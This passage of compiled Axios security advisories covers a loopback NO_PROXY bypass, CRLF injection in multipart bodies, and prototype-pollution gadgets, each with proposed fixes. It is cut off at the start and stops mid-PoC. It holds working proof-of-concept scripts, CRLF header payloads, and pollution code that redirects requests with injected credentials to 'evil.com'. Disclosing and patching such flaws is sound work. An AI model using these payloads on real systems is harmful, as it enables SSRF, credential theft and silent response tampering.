Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service. ``` **2.7 Why the Patch Design Is Flawed** The patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address). | Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) | ``` **2.8 Total Exposed Address Space** Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) ``` Real-world services that commonly bind to non-standard loopback addresses include: * Internal microservices and admin dashboards using dedicated loopback IPs * Development environments with multiple isolated service instances * Docker and container bridge network configurations * Test infrastructure allocating sequential loopback IPs across services **3. Comprehensive Attack Vector & Proof of Concept** **3.1 Reproduction Steps** Step 1 — Create a fresh project directory ``` mkdir axios-bypass-test && cd axios-bypass-test ``` **Step 2 — Initialize the project with the patched Axios version** Create `package.json`: ``` { "type": "module", "dependencies": { "axios": "1.15.0" } } ``` Install dependencies: ``` npm install ``` Verify the installed version: ``` npm list axios ##### Expected output: axios@1.15.0 ``` **Step 3 — Create the PoC file (`poc.js`)** ``` import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXY_PORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log(` Method : ${req.method}`); console.log(` URL : ${req.url}`); console.log(` Host : ${req.headers.host}`); res.writeHead(200); res.end('proxied'); }).listen(PROXY_PORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NO_PROXY. process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`; process.env.NO_PROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(`\n[*] Testing: ${url}`); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500); ``` **Step 4 — Execute the PoC** ``` node poc.js ``` **3.2 Observed Output** The following output was captured during testing on Kali Linux with Axios 1.15.0: ``` === PATCHED CASES (Expected: All requests bypass the proxy) === [*] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [*] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED ``` <img width="1621" height="739" alt="05_poc_execution_bypass_confirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" /> **3.3 Analysis of Results** The output conclusively demonstrates the following: **Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5. **Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted. This confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch. **4. Impact Assessment** This vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server. **4.1 Who Is Impacted?** Primary Target — Node.js Backend Applications Any Node.js application that meets **all three of the following conditions** is vulnerable: ``` Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing ``` **Affected Deployment Environments** | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High| **Scale of Exposure** Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic. **4.3 Impact Details** **Impact 1 Silent Interception of Internal Service Traffic** When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly. ``` Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service ``` The developer receives no error or warning. From the application's perspective, the request succeeds normally. **Impact 2 — SSRF Mitigation Bypass** Many applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`. ``` SSRF Protection (as configured by developer): NO_PROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) ``` An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect. **Impact 3 — Cloud Metadata Service Exposure** In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise. While the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could: * Retrieve temporary IAM credentials * Access environment variables containing secrets * Enumerate internal service configurations * Pivot to other internal services via the compromised credentials **Impact 4 — Confidential Data Exfiltration** Any internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes: | Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables | **Impact 5 — No Indication of Compromise** A particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring. **4.4 Comparison with Original Vulnerability** | Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address. **5. Technical Remediation & Proposed Fix** **5.1 Vulnerable Code Block** The vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0: ``` // lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); ``` This hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation: ``` // lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 ``` **Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy. **5.2 Proposed Patched Code** Replace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation: ``` // lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; ``` **5.3 Diff View — Before vs After** ``` // lib/helpers/shouldBypassProxy.js - const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; ``` All other code in `shouldBypassProxy.js` remains unchanged. No other files require modification. **5.4 Why This Fix Must Be Applied** **Reason 1 — RFC 1122 Compliance** The current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently. ``` RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names) ``` **Reason 2 — The Existing Patch Has Already Failed Once** The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not. **Reason 3 — Real Operating System Behaviour** On Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level. ``` ##### Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 ##### Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms ``` <img width="711" height="181" alt="04_linux_loopback_subnet_proof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" /> Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback. <img width="588" height="198" alt="06_ping_127 0 0 2_loopback_confirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" /> **Reason 4 — The Proposed Fix Has Zero Performance Impact** The existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with: 1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1) 2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements The computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies. **Reason 5 — The Fix Is Minimal and Surgical** The proposed change modifies only **3 lines** of a single file. It does not alter: * The `parseNoProxyEntry()` function * The `normalizeNoProxyHost()` function * The `shouldBypassProxy()` main function logic * Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches. **Reason 6 — Resilient to Alternative IP Encodings** Because Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques. **5.5 Additional Recommendation — IPv6 Loopback Range** While the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation: ``` // Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback ``` Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families. #### Severity - CVSS Score: 7.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7](https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pmwg-cvhr-8vh7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream [CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) / [GHSA-445q-vr5w-6q77](https://github.com/advisories/GHSA-445q-vr5w-6q77) <details> <summary>More information</summary> #### Details ##### Summary The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. ##### Details In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: ``` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`; } ``` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`. ##### Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\r\n` sequences 2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)` 3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration. Additionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited. ##### PoC **Prerequisites**: Node.js 18+, axios (tested on 1.14.0) ``` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(`http://127.0.0.1:${port}/upload`, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ``` ##### Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body **Expected behavior**: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. **Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. ##### Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. ##### Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ``` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += `Content-Type: ${safeType}${CRLF}`; ``` #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77](https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-445q-vr5w-6q77) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking [CVE-2026-42264](https://nvd.nist.gov/vuln/detail/CVE-2026-42264) / [GHSA-q8qp-cvcw-x6jj](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj) <details> <summary>More information</summary> #### Details ##### Summary Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. ##### Affected Properties 1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests. 2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects. 5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests. ##### Proof of Concept ```javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ``` ##### Impact - **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers. - **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server. - **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - **Code execution:** Attacker-supplied functions execute during HTTP redirects. - **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling. ##### Root Cause `mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values. The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection. ##### Suggested Fix Apply the existing `own()` helper to all affected properties: ```javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q8qp-cvcw-x6jj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver` [CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044) / [GHSA-3w6x-2g7m-8v23](https://github.com/advisories/GHSA-3w6x-2g7m-8v23) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver` ##### Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass. The default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is **strictly more powerful** than the `transformResponse` gadget because: 1. **No constraints** — the reviver can return any value (no "must return true" requirement) 2. **Selective modification** — individual JSON keys can be changed while others remain untouched 3. **Invisible** — the response structure and most values look completely normal 4. **Simultaneous exfiltration** — the reviver sees the original values before modification **Severity:** Critical (CVSS 9.1) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver) ##### CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes ##### CVSS 3.1 **Score: 9.1 (Critical)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured | | Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | ##### Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** | |---|---|---|---|---| | PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` | | Fixed by 1.15.0? | Yes | No | No | **No** | | Constraints | N/A (fixed) | **Must return `true`** | None | **None** | | Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** | | Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** | | Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** | | Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. ##### Root Cause Analysis ##### The Attack Path ``` Object.prototype.parseReviver = function(key, value) { /* malicious */ } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ``` ##### Why `parseReviver` Bypasses ALL Existing Protections 1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property. 2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated. 3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set. 4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch. ##### Vulnerable Code **File:** `lib/defaults/index.js`, line 124 ```javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ``` ##### Proof of Concept ```javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await 